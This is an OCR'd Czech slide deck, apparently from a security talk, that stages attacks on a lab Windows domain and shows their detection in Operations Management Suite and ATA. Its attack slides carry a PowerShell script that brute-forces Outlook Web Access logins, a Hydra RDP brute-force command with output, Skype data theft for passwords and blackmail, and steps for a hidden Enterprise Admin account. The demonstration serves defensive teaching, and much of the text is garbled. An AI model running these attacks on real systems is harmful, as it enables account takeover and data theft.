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Operation Management Suite neni jen log management

Nastroj pro monitoring infrastruktury Azure
Nastroj pro monitoring infrastruktury OnPrem
Bezpecnostni centrum s online pohledem na data i z mobilniho zarizeni
Nastroj pro automatizaci

Nastroj pro aplikacni analyzu

Komplexni sber logu ze serveru

Built-In konektory pro sber dat

Nastroj pro kapacitni planovani

Nastroj pro sledovani zatizeni site

Nastroj pro kontrolu SQL serveru

A mnoho dalsiho....



Introducing Operations Management Suite

Operations
Management Suite

Windows Windows Windows Windows
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Private clouds
(Azure Stack, Hyper-V, VMware, OpenStack)



Insight & Analytics
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Demo

OMS jako platforma
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ezpecnost musi byt komplexni

Cloud Security

Application
Network Design Development

Data Proteciton

System Integration

Access Control Security Engineering
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Microsoft Security Products

Advanced Threat Analytics

Cloud App Security
Intune

Windows Server 2016
SQL Server 2016

Windows Trust Boot

Privileged Identity
Management

Credential Guard

Microsoft Passport

Windows Hello

Windows Defender ATP
Windows Update for Business

Windows Information
Protection

Microsoft Azure

Azure Active Directory

Azure Security Center

Azure Storage Service Encryption
Azure Key Vault

Azure Information Protection
Operation Management Suite

Advanced Threat Protection

Anti-Spam / Anti-Malware
Message Encryption

Data Loss Prevention

Threat Intelligence

Advanced Security Management



Nebojte se a odpovezte

Logujete na serverech a klientech?
Sbirate logy centralne?
Vyhodnocujete logy?

Jak dlouho vam trva jejich vyhodnoceni?
Vite, ze se nekdo pokousi zautocit na vasi infrastrukturu?

“THERE ARE TWO KINDS OF BIG COMPANIES,
THOSE WHO'VE BEEN HACKED, AND THOSE
WHO DON'T KNOW THEY VE BEEN HACKED.”

JAMES COMEY, DIRECTOR FBI



Co nas ceka nebo bude cekat

Brute Force na HTTPS a jeho detekce

Brute Force na RDP a jeho detekce

Vytezeni dat ze Skype klienta

Dalsi obecne detekce (new user, add member to group, atd..)
Detekce vytvoreni ,Hide Enterprise administrator”
Detekce pruzkumu DNS

Brute Force na LDAP Simple Bind

Detekce autorizovaneho LDAP dotazu

Honey Token - navnada

Detekce Pass-the-hash

Detekce Pass-the-ticket

Detekce utoku na Golden ticket (Encryption downgrade aktivity
a Malicious replication)




Co nas ceka nebo bude cekat

Brute Force na HTTPS a jeho detekce

Brute Force na RDP a jeho detekce

Vytezeni dat ze Skype klienta

Dalsi obecné detekce (new user, add member to group, atd..)
Detekce vytvoreni ,Hide Enterprise administrator”
Detekce pruzkumu DNS

Brute Force na LDAP Simple Bind

Detekce autorizovaneho LDAP dotazu

Honey Token - navnada

Detekce Pass-the-hash

Detekce Pass-the-ticket

Detekce utoku na Golden ticket (Encryption downgrade aktivity
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Uzivatel (CxO) — Montgomery Burns

IT spravce — Homer Simpson
Hacker — Sideshow Bob




Aktualni situace

Infrastruktura v Praze (DEFENSE-OPS) - Exch, WebAppProxy, AD, Hyper-V
Cluster, System Center, RDGW, Router, ATA, PKI, atd..

Utocnik = Linux VM a Windows VM v internetu, Windows VM v lokaln siti

super misto je treba zasedaci mistnost obsahuijici telefon pripojeny do LAN site ©
wifi dostupna pred firmou

Publikované sluzby do internetu — Exchange OWA/ECP RDGW, RDP na Exchange,
Router, Sharepoint ,atd..

Infrastruktura je pripojena do Cloudu
Vyuziva integrace s Advanced Thread Analytics a Operation management Suite
Nastaveni logovani v systémech



Jak Homer nastavuje svou sit

Nastavil na routeru NAT 1.1 na Exchange CAS server (specifikovat pravidia je
moc ndarocné a muselo by se to nekde dokumentovat)

/Zapomnel upravit pravidla na firewallu (ponechal By Default)

Ponechal vypnuté UAC na Terminalovych serverech (ono by to preci obtézovalo
uzivatele)

Pouziva slaba hesla
Nepouziva se Windows 10
Nepouziva se Applocker, Device guard




Krok T—mapovani prostredi neinvazivne

Kontrola dokumentu dostupnych z internetu
Nalezeny emailové adresy

Kontrola socialnich siti
Nalezena jména uzivateld pracujicich ve spolecnosti
Socialni inzenyring
Zjisteni, kdo pracuje na pozici CxO (dUlezita data a informace)

Internetoveé stranky
Nalezeny kontakty do spolecnosti

Shodan

Kontrola dostupnych sluzeb z internetu

Nmap scan, Acunetix Scan, atd..
Nalezeni portl a zranitelnosti

Atd..







Krok 2 — Utok z internetu

Brute Force na heslo v OWA/ECP - powershell
Mozna stejny login jako emailova adresa (kdyby pouzivali Office365)

Brute Force na RDP Exchange serveru — THC-Hydra
Metasploit a payload SMB — Metasploit Framework
Kopie adresare Skype do pripraveného Share v internetu
Vyhledani hesla ve Skype komunikaci
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File Edit Format View Help

UserName ;Password
hacker555;basketball
hacker555;beatriz
hacker555;blahblah
hacker555;bubbles
hacker555;buster
hacker555;butterfly
hacker555;carlos
hacker555;charlie
hacker555;cheese
hacker555;chocolate
hacker555; computer
hacker777;daniel
hacker777;diablo
hacker777;dragon
hacker777;elite
hacker777;estrella
hacker777;flower

hacl 33 . L £ PN i |

m https://ex16s1/owa/auth/logon. O ~ @& X || O Waiting for ex16s1

>

File Edit View Tools Debug Add-ons Help

A=W = B |9 » 0| % | 8| Foo|mom.
1 - Attack To OWA Ex16s1.ps1 X &
1 Srows Import-Csv -Path .%UserNameAndPassword.csv -Delimiter ";"
3 SwmiDomain Get-WmiObject Win3Z_NTDomain -Filter "DnsForestName = "$({ (Get-WmiObject Win32_ComputerSystem).Domain)" "
4
5 ForEach (Srow in $rows) #(0toénik bude spoustét paralelné& s procesor affinity, aby urychlil cely proces
7 £IE new-object -com internetexplorer.application
8 £IE.nawvigate2("https://exl6s1l/owa/auth/logon. aspx?replaceCurrent=1&urT=https%3ak2fx2fexies1%2fowa™)
9 $IE.wvisible=%True #itocnik pouZzije Invisible window
10 Start-Sleep -Seconds 10
11 $1E. Document. getElementById("username”).value= "${%wmiDomain. DomainName)* $(Srow. UserName)"
12 £IE. Document. getElementById("password”) . value= "S${%row.Password)"”
13 fLink LIE.Document. getElementsByTagName("div") where-object {i_.ClassName “signinbutton™}
14 Elink.CTick ()
15 Start-Sleep -Seconds 10
16 FIE.Quit()
17 $IE Snull
18 [}
19
20
21
22
— O *
o]

4 Outlook

Domain\user name:

DEFENSE-OPS\hacker555

Password:

® signin

1 - Attack To OWA Exl6sl.psl

Would you like to store your password for ex16s17

hacker999;mustang
hacker999;nicole
hacker999;nothing

Yes Mot for this site

Running script / selection. Press Ctrl+Break to stop. Press Ctrl+B to break into debugger. Ln1 Col 35 100%
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Detekce Brute Force HTTPS v OMS

30 sekund na detekci

/droj a cil v jediném Query
Type=>SecurityEvent Accountlype=user EventlD=4625

Overview b Security And Audit » Identity And Access

Type=SecurityEvent AccountType=user EventlD=4525 Account="DEFEMSE-OPS\\hackerd9g”
IDENTITY POSTURE FAILED LOGONS LOGONS OVER TIME
war = Thr
_ 25 Resuits
Logons Failed logon reasons 233K 252
SUCCESSFUL FAILED 31472017 2
l INVALID USERMAME OR PASSW..

sz_uéczésm 179 . Account - DEFENSE-DPS\hackardgg
DK ERROR OCCURRED 3 o
AM ES1AM

FAILED 68 . exlfs1.defense-opslocal
252 ACCOUNT DISABLED

5 = : 1:51

251 AM

. ACCOUNT FAILED &  ATTEMPTS COMPUTER ACCESSED LOGON ATTEMPTS
Accounts logged on Accounts failed to log

on 100% 68 52DNode.defense-ops.local 11K ——
DEFENSE-OPS\spravce888 100% 27 ex16s1.defense-ops.| T —

DEFENSE-OPS\hacker299 100% 25 52DNode2 defense-opslocal 4K —

2 4 z 11 1 3 z 13 DEFENSE-OPS\sprav. 100% DC1.defense-ops.local

DEFENSE-OPS\spravcet66 100% dc2.defense-ops.local

Locked accounts Accounts with changed CONTOSCWUserl 100% HV165erverl.defense-ops.local

or reset password e 10 100 . . - - - ; -
0 " 0 DEFENSE-OPS\hacker1000 00% w10cl2.defense-ops.local ame="TargatUserName"> r390 </Data» <Data Mame="TargetDomainiame": DEF 2 3ta Name="5taus" = 0 <Dtz Na ailurefeazon

<EventData xmins="http: softoomwin/2004/08/zve = «Data Mame="Subject Sid*=5-1-5-18-/Data» <Data Na SubjectlUserMame’~EX16515 «/Data= -

3 100 " ame="Autl PackageNa = «</Data= <Data Name="WorkstationMamg 1«/Data> <Data M 5 -« /Data> <Data Name="LmP;
DEFENSE-OPS\hacker888 00% scem.defense-ops.local = A e muEA A seEnenhams = Ham :

) ) ame="IpAddress"> 192 168.20.9+ » o Diata Mame="IpPort’» 51807 «/Datax»

Active critical notable Active warning notable DEFENSE-OPS\spravced89 00% § HYPERV Eventll - 4625 [Vie

fssues 0 sy 4 DEFENSE-OPS\hacke 100% HV16Node1.defense-opsloca 7 . ame - ADISETIER IO 50 S e S3ecSae 15 Te
A2

See all.. See all.. : Megotiate




DISTRIBUTION BY RETURN CODE 115 RETURN CODE 401 BY COMPUTER 1IS RETURN CODE 500 BY COMPUTER

IS Return Code ) ) ) 11.6K 29.6K 33K 29.6K
T8 0G| ME . 2 - ALL DATA ALL EVENTS ALL DATA ALL EVENTS

[IS Return code

200 8.3k 8.3k
QKrCS Information Part 2« : :
nrormation rFa 48.4K ;'311 6 42 42
TOTAL K l l
Moreinfo (3) 500 0 . - ] . -
3.3k £40PM  B40PM  124DAM 440 AM  B:40AM 1240 PM £40PM  B40PM  124DAM  440AM  B:40AM 1240 PM
L. i RETURN CODE COUNT COMPUTER COUNT COMPUTER
Basic information
200 K — ® =x165].defense-opsloca 11.5K  — ® =xl6s].defense-opsloca
S Retirn Code
IS Return Code 401 11.6K mm— ® scomil.defense-ops.ocal 97 1 @ ey16s2.defense-opsloca
1xx - Information 500 33K = ® RDGW.defense-ops.local 61
2xx - Succ
Ee rection 302 ERL | ® cxl6s2defense-opsloca 21
dun - Error
Sxx - Server Error 405 180 1
Embolden important things, e them, Or both 304 121 1
Created by Links
L KPCS Logo
See all.. See all... See all...
IDENTITY POSTURE FAILED LOGONS LOGONS OVER TIME
’GD Logons Failed logon reasons 5.OK 35
B SUCCESSFUL FAILED
|
ﬁl SUCCESSFUL ERROR OCCURRED
0.6% 5.9« 35 32 740
FAILED FAILED TOTAL INVALID USERNAME OR PASSW..
ol 35 3 0
B:05 AM 9:05 AM 10005 AM 1105 AM 12:05 PM
. ACCOUNT FAILED &  ATTEMPTS COMPUTER ACCESSED LOGOMN ATTEMPTS
Accounts logged on Accounts failed to log
on - 100% 32 ex16sl.defense-opsloca 3K —
DEFENSE-OPS\hacker555 100% 3 52DNodel.defense-ops.local 2K ——

52DNode2.defense-ops.local

1 6 2 21 DC1.defense-opsloca -

HW165erver].defense-ops.loca 36 1

Locked accounts Accounts with changed dec2.defense-ops.local 21!
or reset password ' ;

0 0 sceml.defense-ops.local 211

w10cl2.defense-ops.local 2001

Active critical notable Active warning notable DC1 contoso.com T

issues issues

0 2

=

ex1bs2.defense-opsloca

See all.. See all..
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Utok a detekce




Brute Force na RDP pomoci KAL

IR EEEEEEERLN | Firmware: DD-WRT v24-sp2 (08/07/10) std
Time: 12:55:18 up 3 days, 23:21, load average: 0.00, 0.00, 0.00
MM C.com WAN IP: 192.168.88.8
Setup Services Security Access Restrictions NAT [ QoS Administration Status
Port Forwarding = Port Range Forwarding  Port Triggering ~ UPnP  DMZ = QoS

Port Forward Help

Forwards Port Forward:
Certain applica
open specific p

d
c S Applications v Places v [ Terminal v Tue 05:31 ) ~
cneLs Internet, the router v
CNTCL1 r:n lhe c.(nrrn puter yo

root@kali: ~

File Edit View Search Terminal Help
:~# hydra -t 4 -V -s 3389 -1 administrator -P /root/Desktop/Password.txt rdp://192.168.88.8 -
Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for
Password. illegal purposes.
txt

[ | s | onc o |

Hydra (http://www.thc.org/thc-hydra) starting at 2017-03-14 05:31:19

[DATA] max 4 tasks per 1 server, overall 64 tasks, 8 login tries (1:1/p:8), ~0 tries per task
= [DATA] attacking service rdp on port 3389

[ATTEMPT] target 192.168.88.8 - login "administrator" - pass "testl" - 1 of 8 [child 0]
[ATTEMPT] target 192.168.88.8 - login "administrator" - pass "Password" - 2 of 8 [child 1]
[ATTEMPT] target 192.168.88.8 - login "administrator" - pass "P@sswOrd" - 3 of 8 [child 2]
[ATTEMPT] target 192.168.88.8 - login "administrator" - pass "P@sswOrdl" - 4 of 8 [child 3]
[ATTEMPT] target 192.168.88.8 - login "administrator" - pass "Heslo" - 5 of 8 [child 0]
[ATTEMPT] target 192.168.88.8 - login "administrator" - pass "Heslo666" - 6 of 8 [child 3]
[ATTEMPT] target 192.168.88.8 - login "administrator" - pass "Prace256" - 7 of 8 [child 1]
[ATTEMPT] target 192.168.88.8 - login "administrator" - pass of 8 [child 0]
[3389][rdp] host: 192.168.88.8 1login: administrator passw
1 of 1 target successfully completed, 1 valid password found
Hydra (http:/‘www.thc.org/thc-hydra) finished at 2017-03-14 05:31:21

~#

-
00 00 00 00 CO OO O o0

B = N

\

O

@0 <«




Detekce Brute Force RDP v OMS

30 sekund na detekci

RDP ACTIVITY

72 31.2K

ALL DATA
B2k
4.4k
, 1 0 =
541 PM 9:41 BM 1:41 A 541 AM 41 AN
COMPUTER

4624 - An account was succ

4648 - A logon was attempted using explicit crede...

4625 - An account failed to log on.

See all..

ALL EVENTS

1:41 BM

COUNT

an

FAILED RDP CONNECTIOM TO SERVER

6 192.168.88.7
FROM |P 6

TO COMPUTER

® Clientl.contoso.com

See all...

Type=SecurityEvent EventlD=4625 Process="winlogon.exe” Computer="Clientl.contoso.com”

6 Results

TIMEGEMERATED

1:31:36.860 PM

1:30:47.010 PM

1:20:34

1:29:49.780 PM

1:07:37.057 PM

ACCOUNT

CLIENTT\administrator

CLIENT \administrator

3 PM CLIENTT\Administrator

CLIENT I\administrator

CLIENTT\administrator

CLIENT I\administrator

COMPUTER

Client1.contoso.com
Client1.contoso.com
Client1.contoso.com
Client1.contoso.com
Client1.contoso.com

Client1.contoso.com

LEVEL ACTIVITY LOGONTYPENAME PROCESS TYPE
6 4625 - An account failed to log on. 10 - Remotelnteractive winlogon.exe SecurityEvent
6 4525 - An account failed to lag on. 10 - Remotelnteractive winlogon.exe SecurityEvent
16 4525 - An account failed to log on. 10 - Remotelnteractive winlogon.exe SecurityEvent

4525 - An account failed to log on. SecurityEvent

10 - Remaotelnteractive

winlogon.exe

4525 - An account failed to log on. 10 - Remotelnteractive SecurityEvent

winlogon.exe

4525 - An account failed to log on. winlogon.exe SecurityEvent

COUNT

]

SUCCESS RDP CONMECTION TO SERVER

74 I 66

FROM IP 192.168.868.7

8

TC COMPUTER
Client1.contoso.com

HYPERV
HV165erver2.defense-ops.local
de2.defense-ops.local
ex16s1.defense-ops.local

scom 1.defense-ops.local

w10cll.defense-ops.local

w10cl2.defense-opslacal

aee all..

SUCCESS RDP COMMNECTION BY ACCOUNT FAILED RDP CONNECTION BY ACCOUNT

Window Manager\DWh-3

3 8 CLIENThadministrator
74 Window Manager\DWh-4 6 5
TOTAL 14 TOTAL CLIENTTAdministrator
Window Manager\DWM-5 1
COMPUTER COUNT COMPUTER COUNT
Window Manager, 3 38— CLIENT \administrator 5
Window Manager\DWM-4 14— CLIENT1\Administrator 1T mm
Window Manager\DWM-5 12
CLIEMTThAdministrator 8 mm
Window Manager\DWM-2 21

See allu See all...
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Vytezeni dat ze Skype klienta

Zkopirovani dat do utocnikova PC (nebo do néjaké prostrednika — néjaky zombie)
Spusteni jednoduchého nastroje

Vzdy stejné misto C:\Users\<username>\AppData\Roaming\Skype
Vzdy v prostem textu

Uz mame prava na RDP ale my chceme byt méne napadni

Nalezeni dat, komunikace, hesel

Ale také napriklad ,tajnou” komunikaci s ,asistentkou”
Materialy k vydirani




etekce vytezovani dat

Zapnout auditovani file systému (opatrne)
Sifrovat data

FILE_READ

Sbirat logy na centrélni misto 000
Operation Management Suite e
SCOM Audit Collection Services

FILE_APPEND_DATA Gra right to append data to the file. For a directory, this value grants the

FILE_ADD_SUBDIREC Gra right to append data to the file. For a directory, this value grants the

2ate a subdirectory.
FILE_READ _EA Grants the right to reac nded attributes.
FILE_WRITE_EA Grants the right to writ d attributes.
FILE_EXECL Grants the right to ite a file.
FILE_TRAVERS Grants the

FILE_DELETE_CHILD

FILE_READ_ATTRIBUTES Grants the right to re
FILE_WRITE_ATTRIBUTES Grants the right to
DELETE Grants the right to ¢
READ NTROL Grants the right to

WRITE_DAC Grants the right to modify the DACL in the scriptor for the «

WRITE_OWNMER Grants the right to change the owner in th i criptor for the

Grants the



DEMO: vytezeni dat ze Skype Kl

- Vytézeni dat ze Skype




Detekce vytvoreni ,Hide Enterprise administrator”

Cil: Vytvorit nenapadny ucet zarazeny do skupiny Domain Admins nebo
Enterprise Admins. S nizkou moznosti smazani ze strany skutecnéno
administratora.

Postup:
Zalozeni uctu
Nastaveni prav na objekt v AD
Vytvorit kontejner a presunout do CN=Program Data
Odebrat prava
Prejmenuji skutecnou skupinu Enterprise Admins
Vytvorim novou skupinu Enteprise Admins
Skupinu pridam do prejmenované skupiny
Atd..



DEMO: Vytvoreni skrytého
administratora . |
- ukazka a popis powershellu

- ukazka detekce v OMS




Detekce v OMS

MName

E) Administrator

35 ssword Replication Group
i Attribute: Editor

ntrollers Managed By

CPa rd Replicati

earchMailb

omputers

ontrollers

- The following Active Di y Domain Services error occurn
, Enterprise Admins ! Direc ject not
g, Enterprise

i

J. Infrastructure

Name Description
2, 15 BUP Built-in user used by Int..
2, 11S_IPUB_Sec... Se roup... Built-in security group u...

~| TPM Devices

anaged Service Acce
Microseft Exchange Secy
] ram Data
| Infrastructure
Mi




Detekce v OMS

Domain security policy changes

Jo

Computers missing critical updates

Jo

Accounts failed to log on

Jo

Change or reset passwords attempts

o

Locked accounts

o

Security groups created or modified

3

DEFENSE-OPS\Enterprise Admins
E-2P5\Domain Users

DEFENSE-OPS\IS_IPUB_Security

User accounts created or enabled

0

All Software Changes

0

List of all Windows Services that have been stop...

0

Average HTTP Request time by Client IP Address

Logon Activity by Account

Computer with guest account logons

0

Computers with cleaned event logs

Members added To security-enabled groups

Jo




Dalsi detekce v OMS

Jakakoliv vlastni query v prehledovem dashboardu

Domain security policy changes

0
Jo

Computers missing critical updates

2
Jo

Accounts failed to log on

3
Jo

Change or reset passwords attempts

0

Jo

Locked accounts List of all Windows Services that have been stop... Computer with guest account logons

0 119
Security groups created or modified

1

o
o
[

User accounts created or enabled

0

All Software Changes

10

) .

0A _ —_ _
1055 PM 755 AM
315 316

M

[
Sin

0

Computers with cleaned event logs

0

Members added To security-enabled groups



Dalsi detekce v OMS

Qverview AD Assessment

SECURITY AND COMPLIANCE

HIGH PRICRITY RECOMMENDATIO. ..

o/ 1
LOW PRICRITY RECOMMEMDATIC...
73 %‘ P
PASSED CHECKS
13

PRICRITIZED RECOMMENDATIONS

Ensure that operating system updates are reviewed a..
Change your password policy to enforce minimum pa..
Change your password policy te enforce a minimum ...
Change your password policy to enforce password hi..

Change your password policy to enforce a maximum ...

WEIGHT

15.6
.

4
34

AVAILABILITY AND BUSIMESS CONTINUITY

F,‘ HIGH PRIORITY RECOMMEMDATIO. .

1

LOW PRIORITY RECOMMENDATIC...
96%

2

PASSED CHECKS

71

PRICRITIZED RECOMMENDATIONS
Ensure directory partitions are backed up frequently.
Configure the root PDC emulator to use an authoritat..

Add subnet definitions to Active Directory sites.

PERFORMAMNCE AND SCALABILITY

100% F‘BASSED CHECKS

PRICRITIZED RECOMMENDATIONS

Congratulations. Looking great!

WEIGHT

UPGRADE, MIGRATION AND DEPLOYMENT

100% F;.SSED CHECKS

PRIORITIZED RECOMMENDATIONS

Congratulations. Looking great!

WEIGHT




Dalsi detekce v OMS

Overview SQL Assessment

SECURITY AND COMPLIANCE

‘ I LOW PRIORITY RECOMMENDATIC...

o 3
85 /0 PASSED CHECKS

17

PRIORITIZED RECOMMEMDATIONS WEIGHT

Avoid adding users to the db_owner database role. 24
Ensure only essential users are added to the 5QL Ser.. 2.4

Apply Windows password policies to 5QL Server logi.. 1.3

AVAILABILITY AND BUSINESS CONTINUITY

‘ HIGH PRICRITY RECOMMENDATIO. .
LOW PRIORITY RECOMMENDATIO...
80% 5
PASSED CHECKS

24

PRICRITIZED RECOMMENDATIONS WEIGHT

Schedule full database backups at least weekly. 7.4
Optimize your backup strategy with Microsoft Azure ...
Avoid using the Simple database recovery model.

Ensure all installations of Windows are activated.

Host database files and transaction log files on differ...

Check the network access to Active Directory domain..

PERFORMANCE AND SCALABILITY

' HIGH PRIORITY RECOMMENDATIO...

1

82 % LOW PRIORITY RECOMMENDATIO...

6

PASSED CHECKS

30

PRICRITIZED RECOMMENDATIONS WEIGHT

Configure the tempdb database to reduce page alloc...
Set autogrowth increments for database files and log...
Consider changing your power saving seftings to opt..
Avoid hosting user database files on the same disk v...

Review processes with large working set sizes.

Enable the backup compression default configuratio..

Consider compressing database tables and indexes.

UPGRADE, MIGRATION AND DEPLOYMENT

PASSED CHECKS
100%8 |75

PRIORITIZED RECOMMENDATIONS

Congratulations. Looking great!

OPERATIONS AND MONITORING

I HIGH PRIORITY RECOMMENDATIO...
0 2
6? /0 PASSED CHECKS

4

WEIGHT PRIORITIZED RECOMMENDATIONS

Enable Remote Desktop on servers.

Enable Remote Desktop on virtual machines.

WEIGHT
9.5
6.3




Dalsi detekce v OMS

Overview Office 365

OPERATIONS EXCHAMGE SHAREPOINT AZURE ACTIVE DIRECTORY

132 Exchange activities SharePoint activities Azure Active Directory Activities

Mar 11 Mari2 Mar 13 Mar 14

ACTIVITIES

Mar15 Mar 16 Mar 17

;—_---I. 29

OPERATION

NT AUTHORITYA\SYSTEM (Micro...
00000002-0000-0ff1-ce00-0000..,
00000003-0000-0ff1-ce00-0000..,
NT AUTHORITY\SYSTEM (w3wp)

fim_password_service@support..

COUNT ACTIVITY

a7 Set-Mailbox

41 Set-TransportConfig
nstall-DataClassificationConfig

nstall-DefaultSharingPolicy

nstall-ResourceConfig

Set-RecipientEnfercementProvi..

Add-MailboxPermission

Enable-AddressListPaging
nstall-AdminAuditlogConfig
MNew-ExchangehssistanceConfig

See all.

14

ACTIVITY

AddedToGroup
SiteCollecticnAdminAdded
SiteCollecticnAdminRemoved
FolderCreated

FolderModified

76

ACTIVITY
PasswordLogonlnitialAuthUsing...
UserLoggedin

Update group.

Add QAuth2PermissionGrant,
Add app role assignment grant ...
Add group.

Add member to group.
Add owner to group.
Add service principal.
Consent to application.

See all..




Dalsi detekce v OMS

Overview F Service Map

(® 12/15/2016 10:41 AM — 10:51 AM (10 minutes) v [ Time Controls

Filter machines..

MACHINE

acmeweb000000
acmeweb000002
admdemo-appsvr
admdemo-docker
admdemo-mysgl
admdemo-rhell
admdemo-win1
admdemosf000000
admdemosf000001
admdemosf000002
admdemosf000003
admdemosf000004
bluestripeload
bluestripeload2
bsdemoad

Client Group
bsdemocons

bsdemoms1 @ 2 Clients

bsdemosc

bsdemosqgll

Focus Machine

ml acmeweb000000
Hl 12 processes

Acme Custorner Portal {IIS App...
BlueStripeCollector

CollectGuestLogs

HealthService

LSA Shell
MonAgentCore
Network Services
NPMDAgent

Remote Procedure Call
services

spoolsv

svchost

System

Terminal Services

Walpphgent

é Legend

& admdema-appsvr

Chde 1Process

* Tomecat

Back end server with agent

e

> Port 11126

137.135.109.63

Port 1433 (ms-sgl-s)
101232643

Port 7560 (bluestripe)
23.96.26.100

Server Port Group

Port 443 (https)

9 Servers

,;/—" E‘ Port 32526

168.63.129.16

Port 80 (www)

2 Servers

WindowsAzureGuestigent
wininit

wmiprvse

> 158.63.120.16
*! 160,254.169.254

ml acmeweb000000
L | Machine Summary
Properties

Fully Qualified Domain Name
acmeweb000000

Operating System

Windows Server 2012 R2 Datacenter

(full installation)

View More Properties...

Machine Dependencies
2 Connected Clients

1 Connected Servers

TCP Connections

0 Inbound Connections
20 Qutbound Connections

0  Failed Connections

Alerts

Change Tracking

MNotable Security Issues

Updates

CPU Utilization

Memory Utilization

Network Statistics

Network Performance

Summary

lgn

Properties




Data based on last 7 days

101102 PM 10c11:02 &AM
Mar 13, 2017 Mar 16 2017
TYPE (1)

SecurityDetection

ALERTSEVERITY (1)

high

ALERTTITLE (1)

Suspicious Activity

COMPUTER (1)

DC1.contoso.com

1 bar = €hrs

101102 BM
Mar 18 2017

Type=SecurityDetection AlertSeverity=High AlertTitle="Suspicious Activity"

TResults =Llist E=Table

Detection Instance

DCl.contoso.com | 3/16/2017 3:171:10.000 PM

Computer
DC1.contoso.com

Provider
Microsoft ATA

Time Generated
3/16/2017 3:11:10.000 PM

Alert Severity
High

B8 Security Detection

Suspicious Activity
Administrator’s Kerberos tickets were stolen from CLIENT2 to CLIENT1
and used to access 2 resources.

DETECTIONS (PREVIEW)

1
DETECTIONS OVER TIME

o]
Mar 14 Mar 15 Mar 16 Mar 17 Mar18 Mar19 Mar 20

MAME COUNT SEVERITY

Suspicious Activity : o



Dat d on last 7 day .
ata basedon fast £ days Type=ProtectionStatus ThreatStatusRank > 199 ThreatStatusRank != 470 Computer="w10cl 1.defense-ops.local”

1 bar = 6hrs

265 Results = List X Table B Computer Security

IIII Selected computer Motable issue
=l Computers with detected threats- These computers are compromised for one or more threats

w10cl1.defense-ops.local
10:40-56 OM 10:40:56 AM 10:40:56 PM

detected by the malware assessment selution. Administrator should review the malware assessment
Mar 13, 2017 Mar 16, 2017 Mar 18, 2017

dashboard for further information regarding these threats,

[

TYPE (1)

ProtectionStatus

DETECTIONID (11)
4b3f50f7-2d42-4761-90ce-fTBad201cccT
62c68164-43d8-46bb-8d60-51335e8b3df4
693a7b46-be9-437a-961-2%918171b638
7592edeT-abc3-48ef-09a39-1183190f8760
497fecT6-4afa-4909-acTh-90c8 1ee1881f

[+] Mare

THREAT (4)
HackTool:Winb4/Mikatz
HackToolWingd/Mikatz!dha
HackTool:Win32/Wincred.H

Trojan:Win22/Vigorf.A

Operation system
Microsoft Windows 10 Enterprise

Antimalware protection status
Real time protection

Antimalware threats status
Active threat

Malicious IPs

0

Classification of updates
CRITICAL

SECURITY

4

OTHER

19

Security events

EVENT

4907 - Auditing settings on obje...

5059 - Key migration operation.
5058 - Key file operation,

5061 - Cryptagraphic operation.

4624 - An account was successf.,
4672 - Special privileges assigne...
4735 - A security-enabled local ...
4634 - An account was logged o..,
4799 - A security-enabled local ...

4648 - A logon was attempted u...

Accounts logged on

ACCOUNT
DEFENSE-OPS\dan
DEFEMNSE-OPS\oms.scom
DEFENSE-OPS\Dan
DEFENSE-OPS.LOCAL\Dan
Window Manager\DWM-1
Window Manager\DWM-2

Window Manager\DWM-3

NT AUTHORITYWANONYMOUS L.,

Security detections

ALERT

No security detections found
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Pozadavky a dema

V prostredi monitorovano celkem 26 serveru
Odesilani do 6 samostatnych OMS workspace v testu zatizeni

DEMO OMS:

10 seconds ~1.87 MB/Day
30 seconds ~600 KB/Day
1 minute ~300K/Day

5 minutes ~60K/Day

30 minutes ~10K/Day

Interface <ether3-slave-local> Statistics

« Last update: Fri Jan 11 09:19:16 2002

“Yearly” Graph (1 Day Average)

"Weekly" Graph (30 Minute Average)



http://experience.mms.microsoft.com/

/averecna doporuceni

Venujte se anomaliim

Nasazujte bezpecnostni systémy komplexne

Pamatujte, ze Utok prijde spise z vnitrni site nez z internetu
| Ogy, procesy, autorizace

Myslite to s bezpecnostni vazne?
KPCS ATOM —



https://atom.kpcs.cz/

Follow up

D M"fo

wKPCS ATOM detekcni centrum jako sluzba Sﬂft \
WOMS Rest a Query do cloudu yheftr.m‘.
B ATA porozuméni, detekce a ucenf \ i
W ATA Pass-the-xxxxx %
wDalsi bezpecnostni nastroje z portfolia Microsoftu -
»Microsoft platforma a GDPR
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